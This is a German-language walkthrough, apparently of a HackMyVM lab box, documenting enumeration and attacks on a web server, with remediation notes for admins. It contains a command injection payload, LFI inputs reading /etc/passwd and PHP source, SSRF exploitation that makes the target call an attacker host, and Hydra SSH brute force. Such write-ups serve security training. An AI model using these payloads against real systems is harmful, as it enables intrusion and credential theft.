Beginn mit ARP-Scan zur Identifizierung aktiver Hosts im lokalen Netzwerk.
192.168.2.114 08:00:27:e1:99:e2 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` identifiziert erfolgreich einen Host mit der IP 192.168.2.114. Die MAC-Adresse (08:00:27:e1:99:e2) und der Hersteller (PCS Systemtechnik GmbH) deuten auf eine VirtualBox VM hin.
**Bewertung:** Zielsystem im Netzwerk lokalisiert. Der Hinweis auf VirtualBox gibt ersten Kontext.
**Empfehlung (Pentester):** Konzentriere weitere Scans auf 192.168.2.114.
**Empfehlung (Admin):** Standard-Netzwerküberwachung und Segmentierung können die Erkennung erschweren.
Eintrag in die lokale Hosts-Datei zur Namensauflösung. Der `vi`-Befehl selbst ist im Log auskommentiert, aber der resultierende Eintrag wird gezeigt.
127.0.0.1 localhost 127.0.1.1 cyber # 192.168.2.104 zon.hmv # 192.168.2.105 king.vln # 192.168.2.106 avengers.vln # 192.168.2.107 universe.hmv # 192.168.2.108 library.vln # 192.168.2.109 lampiano.vln # 192.168.2.110 infosecwarrior.vln # 192.168.2.111 espo.hmv # 192.168.2.112 easy.vln skymbu.info # 192.168.2.113 messiah.vln 192.168.2.114 boxing.hmv
**Analyse:** Die lokale `/etc/hosts`-Datei wurde (vermutlich manuell, da der `vi`-Befehl auskommentiert ist) bearbeitet, um der IP-Adresse 192.168.2.114 den Hostnamen `boxing.hmv` zuzuweisen. Dies erleichtert die Verwendung des Namens in nachfolgenden Schritten.
**Bewertung:** Eine praktische Maßnahme zur Verbesserung der Lesbarkeit und Handhabung während des Tests.
**Empfehlung (Pentester):** Verwende `boxing.hmv` als Zielbezeichnung in weiteren Befehlen.
**Empfehlung (Admin):** Keine serverseitigen Maßnahmen erforderlich, da dies eine lokale Konfiguration des Angreifers ist.
Durchführung eines vollständigen Nmap-Scans über alle Ports mit Service-Version, OS-Erkennung und Standard-Skripten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 22:29 CEST Nmap scan report for boxing (192.168.2.114) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA) |_ 256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Oxer |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:E1:99:E2 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms boxing (192.168.2.114)
**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-AO`, `-T5`, `-p-`) identifiziert zwei offene TCP-Ports:
**Bewertung:** Die primären Angriffsvektoren sind SSH (Port 22) und der Webserver (Port 80). Die Versionsinformationen sind nützlich für die Suche nach bekannten Schwachstellen. Der Titel "Oxer" ist zu notieren.
**Empfehlung (Pentester):** Führe detailliertere Scans und Analysen für Port 80 (Nikto, Gobuster, manuelle Prüfung) und Port 22 (Benutzer-Enumeration, Brute-Force, bekannte Schwachstellen) durch.
**Empfehlung (Admin):** Stelle sicher, dass SSH und Apache sicher konfiguriert sind. Halte die Software auf dem neuesten Stand.
Gefilterte Nmap-Ausgabe zur Übersicht der offenen Ports.
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
**Analyse:** Die mit `grep open` gefilterte Ausgabe des vorherigen Nmap-Scans bestätigt übersichtlich die beiden offenen Ports 22 (SSH) und 80 (HTTP).
**Bewertung:** Bietet eine schnelle Referenz der offenen Ports.
**Empfehlung (Pentester):** Konzentriere dich auf diese beiden Ports.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen basierend auf dieser gefilterten Ansicht.
Mysteriöser Eintrag "Joniya Daro" im Log.
Joniya Daro
**Analyse:** Die Zeichenkette "Joniya Daro" erscheint im Log ohne ersichtlichen Kontext oder Bezug zu den vorherigen oder nachfolgenden technischen Befehlen. Es könnte sich um eine Notiz, einen Benutzernamen, einen Dateinamen oder einen irrelevanten Artefakt handeln.
**Bewertung:** Unklar, möglicherweise ein Hinweis. Wird vorerst zur Kenntnis genommen.
**Empfehlung (Pentester):** Behalte den Namen im Hinterkopf, falls er später relevant wird (z.B. als Benutzername für SSH-Brute-Force).
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.
Durchführung eines Nikto-Scans gegen den Webserver auf Port 80.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2024-04-28 22:31:36 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 5d2e, size: 61090ae116296, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-04-28 22:31:45 (GMT2) (9 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Der Nikto-Scan liefert folgende Informationen:
**Bewertung:** Mittel. Fehlende Header sind Best-Practice-Verstöße. Das Directory Indexing ist ein wichtiger Fund und sollte untersucht werden.
**Empfehlung (Pentester):** Untersuche die Inhalte der Verzeichnisse `/css/` und `/images/` manuell. Führe weitere Verzeichnis-Scans mit umfassenderen Wordlists durch.
**Empfehlung (Admin):** Deaktiviere Directory Indexing (`Options -Indexes`). Implementiere die fehlenden Security-Header.
Verzeichnis-Scan mit `dirb`.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Apr 28 22:31:01 2024 URL_BASE: http://192.168.2.114/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4622 ---- Scanning URL: http://192.168.2.114/ ---- ==> DIRECTORY: http://192.168.2.114/images/ ==> DIRECTORY: http://192.168.2.114/css/ + http://192.168.2.114/index.html (CODE:200|SIZE:23854) ==> DIRECTORY: http://192.168.2.114/js/ + http://192.168.2.114/server-status (CODE:403|SIZE:278) ---- Entering directory: http://192.168.2.114/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.2.114/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.2.114/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sun Apr 28 22:31:06 2024 DOWNLOADED: 4622 - FOUND: 2
**Analyse:** `dirb` mit der Standard-Wordlist findet die Verzeichnisse `/images/`, `/css/` und `/js/` sowie die Datei `index.html`. Es bestätigt, dass die gefundenen Verzeichnisse auflistbar sind ("Directory IS LISTABLE"). Der Zugriff auf `/server-status` wird verweigert (403).
**Bewertung:** Bestätigt die Ergebnisse von Nikto bezüglich Directory Indexing und findet zusätzlich das Verzeichnis `/js/`.
**Empfehlung (Pentester):** Untersuche die Inhalte von `/images/`, `/css/` und `/js/`. Verwende Gobuster/ffuf für eine gründlichere Suche nach Dateien und Verzeichnissen.
**Empfehlung (Admin):** Deaktiviere Directory Indexing dringend.
HTTP POST Request an `feedback.php` mit Command Injection Versuch.
POST /feedback.php HTTP/1.1 Host: 192.168.2.114 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://192.168.2.114 Connection: close Referer: http://192.168.2.114/feedback.php Upgrade-Insecure-Requests: 1 feedback=%3Bid%0D%0A
**Analyse:** Dieses Log zeigt einen HTTP POST Request, der an `/feedback.php` gesendet wurde. Der `feedback`-Parameter enthält den URL-kodierten Wert `;id\r\n`. Dies ist ein Versuch, einen Shell-Befehl (`id`) durch Semikolon-Trennung nach einer potenziell vorhandenen Server-seitigen Funktion einzuschleusen.
**Bewertung:** Dokumentiert einen Command Injection Versuch gegen `feedback.php`. Das Ergebnis des Versuchs (die Server-Antwort) ist jedoch nicht im Log enthalten, daher ist der Erfolg oder Misserfolg unbekannt.
**Empfehlung (Pentester):** Führe systematische Tests auf Command Injection in `feedback.php` durch und analysiere die Antworten sorgfältig. Teste verschiedene Payloads (z.B. `| id`, `` `id` ``). Finde `feedback.php` zuerst mit Gobuster/ffuf.
**Empfehlung (Admin):** Implementiere strikte Eingabevalidierung und -sanitisierung für den `feedback`-Parameter. Verwende keine Shell-Befehle mit Benutzereingaben.
Umfassender Verzeichnis- und Datei-Scan mit `gobuster`.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://boxing.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.6 [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js [+] Expanded: true [+] Ignore TLS Errors: true [+] No Error: true [+] Timeout: 10s =============================================================== 2024/04/28 22:35:01 Starting gobuster in directory enumeration mode =============================================================== http://boxing.hmv/index.html (Status: 200) [Size: 23854] http://boxing.hmv/images (Status: 301) [Size: 309] [--> http://boxing.hmv/images/] http://boxing.hmv/about.html (Status: 200) [Size: 9704] http://boxing.hmv/blog.html (Status: 200) [Size: 11165] http://boxing.hmv/feedback.php (Status: 200) [Size: 1616] http://boxing.hmv/css (Status: 301) [Size: 306] [--> http://boxing.hmv/css/] http://boxing.hmv/js (Status: 301) [Size: 305] [--> http://boxing.hmv/js/] http://boxing.hmv/class.html (Status: 200) [Size: 12460] =============================================================== 2024/04/28 22:40:01 Finished ===============================================================
**Analyse:** Gobuster mit einer mittelgroßen Wordlist und vielen Dateiendungen findet:
**Bewertung:** Bestätigt die bekannte Struktur und hebt `feedback.php` erneut hervor. Die Webseite scheint relativ klein zu sein.
**Empfehlung (Pentester):** Konzentriere dich auf die Analyse von `feedback.php` und die Inhalte der gefundenen HTML-Seiten (Suche nach Kommentaren, Links, Hinweisen).
**Empfehlung (Admin):** Stelle sicher, dass alle exponierten Dateien und Verzeichnisse notwendig sind und keine sensiblen Informationen enthalten.
Zusammenfassung der auf der Webseite erkannten Technologien (vermutlich durch Browser-Plugins oder manuelle Analyse).
Schrift Script Google Font API Web Server Apache HTTP Server 2.4.57 Programmiersprache PHP Betriebssysteme Debian CDN cdnjs Cloudflare Karten Google Maps JavaScript Bibliotheken jQuery 3.4.1 OWL Carousel UI Frameworks Bootstrap 4.3.1
**Analyse:** Diese Liste fasst die auf der Webseite identifizierten Technologien zusammen. Dazu gehören serverseitige Komponenten (Apache, PHP, Debian) und clientseitige Bibliotheken/Dienste (Google Fonts, CDNs, Google Maps, jQuery, OWL Carousel, Bootstrap).
**Bewertung:** Nützlicher Überblick über den Technologie-Stack. Bestätigt Apache/PHP/Debian. Die clientseitigen Bibliotheken könnten eigene Schwachstellen haben (z.B. veraltetes jQuery), sind aber für den direkten Serverzugriff meist weniger relevant.
**Empfehlung (Pentester):** Suche nach bekannten Schwachstellen für Apache 2.4.57, PHP (Version unbekannt) und die spezifischen JavaScript-Bibliotheken/Frameworks.
**Empfehlung (Admin):** Halte alle Komponenten (Server, PHP, JS-Bibliotheken) auf dem neuesten Stand.
Abgebrochener Versuch, SSH-Passwörter für den Benutzer `daro` mit Hydra zu knacken.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-02 20:35:41 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344496 login tries (l:1/p:14344496), ~224133 tries per task [DATA] attacking ssh://192.168.2.114:22/ [STATUS] 420.00 tries/min, 420 tries in 00:01h, 14344101 to do in 569:13h, 39 active [STATUS] 258.00 tries/min, 774 tries in 00:03h, 14343756 to do in 926:36h, 30 active [STATUS] 187.71 tries/min, 1314 tries in 00:07h, 14343228 to do in 1273:30h, 18 active [STATUS] 149.80 tries/min, 2247 tries in 00:15h, 14342295 to do in 1595:43h, 18 active [STATUS] 132.39 tries/min, 4104 tries in 00:31h, 14340438 to do in 1805:23h, 18 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
**Analyse:** Ein Hydra-Befehl zum Brute-Forcen des SSH-Passworts für den Benutzer `daro` (vermutlich aus dem "Joniya Daro"-Hinweis) wird gezeigt, ist aber auskommentiert (`#`). Die nachfolgende Ausgabe zeigt jedoch, dass Hydra gestartet und dann manuell mit Strg+C (`^C`) abgebrochen wurde. Es wurden über 4000 Passwörter aus `rockyou.txt` probiert, ohne Erfolg.
**Bewertung:** Der Brute-Force-Versuch für `daro` war erfolglos (abgebrochen). SSH scheint nicht leicht zugänglich zu sein.
**Empfehlung (Pentester):** SSH-Brute-Force ist oft zeitaufwendig und laut. Konzentriere dich auf die Webanwendung, es sei denn, es gibt starke Hinweise auf schwache SSH-Passwörter oder spezifische Benutzer.
**Empfehlung (Admin):** Implementiere SSH-Härtungsmaßnahmen wie Fail2ban, Key-basierte Authentifizierung und Deaktivierung der Passwort-Authentifizierung.
Erneuter fehlgeschlagener Versuch, eine WordPress-Konfigurationsdatei mittels Path Info zu laden.
<!DOCTYPE html> <html> <head> <title>Feedback Form</title> <style> body { font-family: Arial, sans-serif; background-color: #0a0a0a; /* Dark background */ color: #ffffff; /* White text */ text-align: center; } form { background-color: #0a0a0a; /* Dark background */ border: 3px solid #6dbf47; /* Green border */ padding: 20px; display: inline-block; margin-top: 50px; } label, textarea, input[type="submit"] { display: block; margin-bottom: 10px; color: #ffffff; /* White text */ } textarea, input[type="submit"] { width: 300px; border: 1px solid #6dbf47; /* Green border */ color: #6dbf47; /* Green text or choose any color you prefer */ background-color: #0a0a0a; /* Dark background */ } input[type="submit"] { background-color: #6dbf47; /* Green background */ color: #0a0a0a; /* Dark text */ padding: 5px 15px; cursor: pointer; } input[type="submit"]:hover { background-color: #89e57f; /* Lighter green background */ } </style> </head> <body> <h2 style="color: #6dbf47;">Feedback Form</h2> <form method="post" action="/feedback.php/wordpress/wp-config.php_bak"> <label for="feedback">Your Feedback :</label><br> <textarea id="feedback" name="feedback" rows="4" cols="50"></textarea><br> <input type="submit" value="Send"> </form> </body> </html>
**Analyse:** Es wird erneut versucht, eine `wp-config.php_bak`-Datei über den Path-Info-Teil der URL (`/feedback.php/...`) zu laden. Wie zuvor gibt der Server nur das HTML des Feedback-Formulars zurück.
**Bewertung:** Bestätigt, dass diese Methode zur Dateieinbindung nicht funktioniert.
**Empfehlung (Pentester):** Fokussiere dich auf andere LFI-Methoden, z.B. über Parameter.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen erforderlich.
Herunterladen des HTML-Formulars mit `wget`, was den fehlgeschlagenen LFI-Versuch bestätigt.
--2024-04-02 21:19:39-- http://192.168.2.114//feedback.php/wordpress/wp-config.php_bak Verbindungsaufbau zu 192.168.2.114:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 1644 (1,6K) [text/html] Wird in »wp-config.php_bak« gespeichert. wp-config.php_bak 100%[=====================================================================================================>] 1,61K --.-KB/s in 0s 2024-04-02 21:19:39 (251 MB/s) - »wp-config.php_bak« gespeichert [1644/1644]
**Analyse:** `wget` wird für denselben LFI-Versuch wie zuvor verwendet. Es lädt erfolgreich eine Datei herunter, die jedoch nur 1.6K groß ist und als `text/html` identifiziert wird. Dies ist das Feedback-Formular, nicht die gesuchte Konfigurationsdatei.
**Bewertung:** Bestätigt erneut das Scheitern des LFI-Versuchs über Path Info.
**Empfehlung (Pentester):** LFI über Path Info aufgeben.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.
Versuche, mit `wfuzz` Parameter für LFI zu finden, scheitern.
**Analyse:** Mehrere `wfuzz`-Läufe werden durchgeführt, um LFI-Schwachstellen zu finden:
**Bewertung:** LFI scheint über die getesteten Parameter und Payloads in `feedback.php` nicht möglich zu sein.
**Empfehlung (Pentester):** Untersuche andere Seiten (`index.html`, `about.html` etc.) oder konzentriere dich auf die Staging-Umgebung, falls vorhanden.
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich.
Erneuter Versuch, den Quellcode von `feedback.php` mittels LFI und PHP-Filter zu lesen (Ergebnis fehlt).
GET /feedback.php?feedback=php://filter/convert.base64-encode/resource=feedback.php HTTP/1.1 Host: 192.168.2.114 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Origin: http://192.168.2.114 Connection: close Referer: http://192.168.2.114/feedback.php Upgrade-Insecure-Requests: 1
**Analyse:** Ein GET-Request wird an `/feedback.php` gesendet, wobei versucht wird, den `feedback`-Parameter für eine LFI mit dem `php://filter`-Wrapper zu nutzen, um den Base64-kodierten Quellcode von `feedback.php` selbst zu erhalten.
**Bewertung:** Zeigt einen korrekten Ansatz zum Auslesen von Quellcode mittels LFI. Das Ergebnis dieser Anfrage ist jedoch nicht im Log dokumentiert, daher ist der Erfolg unbekannt.
**Empfehlung (Pentester):** Führe diesen Request aus und analysiere die Antwort. Wenn Base64-Text zurückkommt, dekodiere ihn, um den Quellcode zu erhalten.
**Empfehlung (Admin):** Behebe die potenzielle LFI-Schwachstelle, falls vorhanden.
Hinweise auf eine Staging-Umgebung und einen potenziellen Benutzernamen/Passwort-Hinweis.
http://boxing.hmv/ demo@boxing.hmv X-Origin-Domain = staging-env.boxing.hmv
http://boxing.hmv/feedback.php?feedback=Hello%21+You+don%27t+have+a+link+to+reset+the+password%2C+and+I%27ve+forgotten+it%21+I+tried+Cassius%21+but+it+doesn%27t+work%3B+Contact+me+asap+pease%21%0D%0A%0D%0ACassius
**Analyse:** Diese Blöcke scheinen Notizen oder zusammengefasste Informationen zu sein:
**Bewertung:** Hoch. Die Entdeckung der Staging-Umgebung `staging-env.boxing.hmv` eröffnet eine neue Angriffsfläche. Der Passwort-Hinweis "Cassius!" ist sehr relevant.
**Empfehlung (Pentester):** Füge `staging-env.boxing.hmv` zur `/etc/hosts`-Datei hinzu und beginne mit der Enumeration dieser Umgebung. Teste "Cassius!" als Passwort für gefundene Benutzer (z.B. `daro`, `cassius`).
**Empfehlung (Admin):** Sichere oder entferne die Staging-Umgebung. Stelle sicher, dass keine sensiblen Hinweise (wie Passwörter) in öffentlich zugänglichen Bereichen oder Nachrichten hinterlassen werden.
Erste Enumeration der Staging-Umgebung mit Gobuster.
http://staging-env.boxing.hmv/index.php (Status: 200) [Size: 1167] http://staging-env.boxing.hmv/cache (Status: 301) [Size: 332] [--> http://staging-env.boxing.hmv/cache/]
**Analyse:** Ein (hier nicht gezeigter) Gobuster-Scan gegen `http://staging-env.boxing.hmv` findet `index.php` und ein Verzeichnis `/cache/`.
**Bewertung:** Bestätigt, dass die Staging-Umgebung aktiv ist und eine andere Struktur als die Produktionsumgebung haben könnte. Das `/cache/`-Verzeichnis ist potenziell interessant.
**Empfehlung (Pentester):** Untersuche `index.php` auf der Staging-Umgebung und den Inhalt von `/cache/`.
**Empfehlung (Admin):** Überprüfe die Sicherheit und Notwendigkeit der Staging-Umgebung.
Analyse von Cache-Dateien und einer Hash-Signatur (vermutlich aus dem `/cache/`-Verzeichnis).
��@`����c�:�-/usr/share/fonts/X11/encoding/usr/share/fonts/X11/encodings/large
/usr/share/fonts/X11/encodings /usr/share/fonts/X11/encodings/large
Vs?d 7m8k* UEzY ~)>q a>GW? %_h+?1 q!fj wm^G P;nV A6&wfrak&] bPy9
Signature: 8a477f597d28d172789f06886806bc55 # This file is a cache directory tag created by man-db. # For information about cache directory tags, see: # http://www.brynosaurus.com/cachedir/
Enter up to 20 non-salted hashes, one per line: 8a477f597d28d172789f06886806bc55 Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults Hash Type Result 8a477f597d28d172789f06886806bc55 Unknown Not found.
**Analyse:** Es werden verschiedene Dateien untersucht, die vermutlich aus dem `/cache/`-Verzeichnis der Staging-Umgebung stammen:
**Bewertung:** Niedrig. Die untersuchten Cache-Dateien scheinen keine direkt verwertbaren Informationen oder Zugangsdaten zu enthalten. Die `CACHEDIR.TAG`-Datei ist Standard für `man-db` und die Signatur ist kein Passwort-Hash.
**Empfehlung (Pentester):** Das `/cache/`-Verzeichnis scheint keine wertvollen Informationen zu enthalten. Konzentriere dich auf die `index.php` der Staging-Umgebung.
**Empfehlung (Admin):** Stelle sicher, dass keine sensiblen Daten im Cache-Verzeichnis landen.
Versuch, LFI auf der Staging-Umgebung (`index.php`) über den `url`-Parameter zu nutzen.
view-source:http://staging-env.boxing.hmv/index.php?url=/etc/passwd
**Analyse:** Es wird versucht, die Datei `/etc/passwd` über den `url`-Parameter der `index.php` auf der Staging-Umgebung einzubinden. Das Ergebnis (ob der Inhalt angezeigt wurde) ist im Log nicht ersichtlich.
**Bewertung:** Dokumentiert einen LFI-Versuch. Erfolg unklar aus dem Log.
**Empfehlung (Pentester):** Überprüfe die Antwort des Servers auf diesen Request, um die LFI zu bestätigen.
**Empfehlung (Admin):** Behebe die LFI im `url`-Parameter der Staging-`index.php`.
Fuzzing nach LFI-Parametern auf der Staging-`index.php` bestätigt den `url`-Parameter.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * * Crowd sourced tool Collaboration community... * ******************************************************** Target: http://staging-env.boxing.hmv/index.php?FUZZ=../../../../../../etc/passwd Total requests: 220546 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001257: 200 46 L 93 W 1184 Ch "url" ===================================================================== Total time: 138.1204 Processed Requests: 220546 Filtered Requests: 220545 Requests/sec.: 1596.765
**Analyse:** `wfuzz` wird verwendet, um Parameter zu finden, die für LFI anfällig sind, indem der Payload `../../../../../../etc/passwd` getestet wird. Es filtert Antworten mit Status 404 oder der Standard-Zeichengröße (1167) heraus. Der einzige gefundene Parameter ist `url`, der eine andere Antwortgröße (1184 Zeichen) erzeugt.
**Bewertung:** Bestätigt, dass der `url`-Parameter in `staging-env.boxing.hmv/index.php` der LFI-anfällige Parameter ist.
**Empfehlung (Pentester):** Nutze `?url=` für LFI- und SSRF-Angriffe auf die Staging-Umgebung.
**Empfehlung (Admin):** Behebe die LFI im `url`-Parameter dringend.
Fehlgeschlagener SQLMap-Scan gegen die Staging-Umgebung.
___ __H__ ___ ___[']_____ ___ ___ {1.8.4#stable} |_ -| . ['] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:05:12 /2024-04-28/ [23:05:12] [INFO] parsing HTTP request from '/home/cyber/Downloads/ben.sql' [23:05:12] [INFO] testing connection to the target URL [23:05:12] [INFO] checking if the target is protected by some kind of WAF/IPS [23:05:12] [INFO] testing if the target URL content is stable [23:05:12] [INFO] target URL content is stable [23:05:12] [INFO] testing if GET parameter 'url' is dynamic [23:05:12] [INFO] confirming that GET parameter 'url' is dynamic [23:05:12] [INFO] GET parameter 'url' is dynamic [23:05:12] [INFO] heuristic (basic) test shows that GET parameter 'url' might be injectable (possible DBMS: 'MySQL') [23:05:12] [INFO] testing for SQL injection on GET parameter 'url' # ... (viele fehlgeschlagene Tests) ... [23:05:12] [WARNING] parameter 'Referer' does not seem to be injectable [23:05:12] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [*] ending @ 23:05:12 /2024-04-28/
**Analyse:** `sqlmap` wird erneut ausgeführt, diesmal vermutlich mit einer Anfrage an `staging-env.boxing.hmv/index.php` (gespeichert in `ben.sql`). Trotz intensiver Tests (`--level 3 --risk 3`) findet `sqlmap` keine SQL-Injection-Schwachstelle im `url`-Parameter oder anderen Parametern der Anfrage.
**Bewertung:** Niedrig. SQLi ist auch auf der Staging-Umgebung unwahrscheinlich.
**Empfehlung (Pentester):** Konzentriere dich auf LFI/SSRF im `url`-Parameter der Staging-Umgebung.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.
Nutzung der LFI/SSRF auf Staging, um die Produktionsseite abzurufen und Benutzernamen zu extrahieren.
http://staging-env.boxing.hmv/index.php?url=boxing.hmv http://boxing.hmv/images/ Jone Moe Boxer Joniya Daro Lio Uji
**Analyse:** Die LFI-Schwachstelle im `url`-Parameter von `staging-env.boxing.hmv/index.php` wird genutzt, um eine Server-Side Request Forgery (SSRF)-Anfrage an die Produktions-URL `boxing.hmv` zu senden. Der Staging-Server ruft die Hauptseite ab. Aus dem Inhalt (vermutlich aus dem `/images/`-Verzeichnis, wie angegeben) werden drei Namen extrahiert: "Jone Moe Boxer", "Joniya Daro", "Lio Uji". Diese könnten Benutzernamen sein (`moe`, `daro`, `uji`).
**Bewertung:** Kritisch. Die LFI ermöglicht SSRF, was zur Offenlegung potenzieller Benutzernamen führt.
**Empfehlung (Pentester):** Versuche SSH-Logins mit diesen Benutzernamen (`moe`, `daro`, `uji`) und dem Passwort-Hinweis "Cassius!" oder mittels Brute-Force. Nutze SSRF weiter, um interne Dienste zu scannen.
**Empfehlung (Admin):** Behebe die LFI/SSRF-Schwachstelle auf dem Staging-Server. Entferne oder sichere die Staging-Umgebung.
Fehlgeschlagene Hydra SSH-Brute-Force-Versuche für die gefundenen Benutzernamen.
**Analyse:** Es werden vier Hydra-Befehle ausgeführt (oder zumindest vorbereitet), um SSH-Passwörter für die Benutzer `moe`, `uji`, `Joniya` und `daro` mit der `rockyou.txt`-Wordlist zu knacken. Da keine Erfolgsmeldungen gezeigt werden, ist anzunehmen, dass diese Versuche fehlschlugen oder abgebrochen wurden.
**Bewertung:** Niedrig. Die über SSRF gefundenen Benutzernamen scheinen keine schwachen Passwörter aus `rockyou.txt` für SSH zu verwenden.
**Empfehlung (Pentester):** Versuche den Passwort-Hinweis "Cassius!" oder "Cassius!123" (aus dem späteren Hash-Crack). Konzentriere dich ansonsten wieder auf SSRF/RCE.
**Empfehlung (Admin):** Starke Passwörter und SSH-Härtung sind wichtig.
Nutzung von SSRF zur Kontaktaufnahme mit dem HTTP-Server des Angreifers.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.114 - - [28/Apr/2024 23:36:36] "GET / HTTP/1.1" 200 -
**Analyse:** Die SSRF-Schwachstelle im `url`-Parameter wird genutzt, um den Staging-Server eine Anfrage an den Angreifer-Host senden zu lassen. Der Payload `boxing.hmv@192.168.2.199` im `url`-Parameter veranlasst den Server (vermutlich durch einen Fehler im URL-Parser der Anwendung), eine Anfrage an `192.168.2.199` zu senden. Der auf dem Angreifer-Host laufende Python-HTTP-Server empfängt diese Anfrage von der IP des Zielservers (192.168.2.114).
**Bewertung:** Bestätigt, dass SSRF genutzt werden kann, um Verbindungen vom Staging-Server zu externen (oder internen) IPs herzustellen.
**Empfehlung (Pentester):** Nutze dies für interne Portscans (`url=localhost:PORT`) oder zum Zugriff auf interne Dienste.
**Empfehlung (Admin):** Behebe die SSRF-Schwachstelle. Implementiere Egress-Filterung auf dem Staging-Server, um ausgehende Verbindungen zu beschränken.
Interner Portscan auf `localhost` (des Staging-Servers) mittels SSRF und `ffuf`.
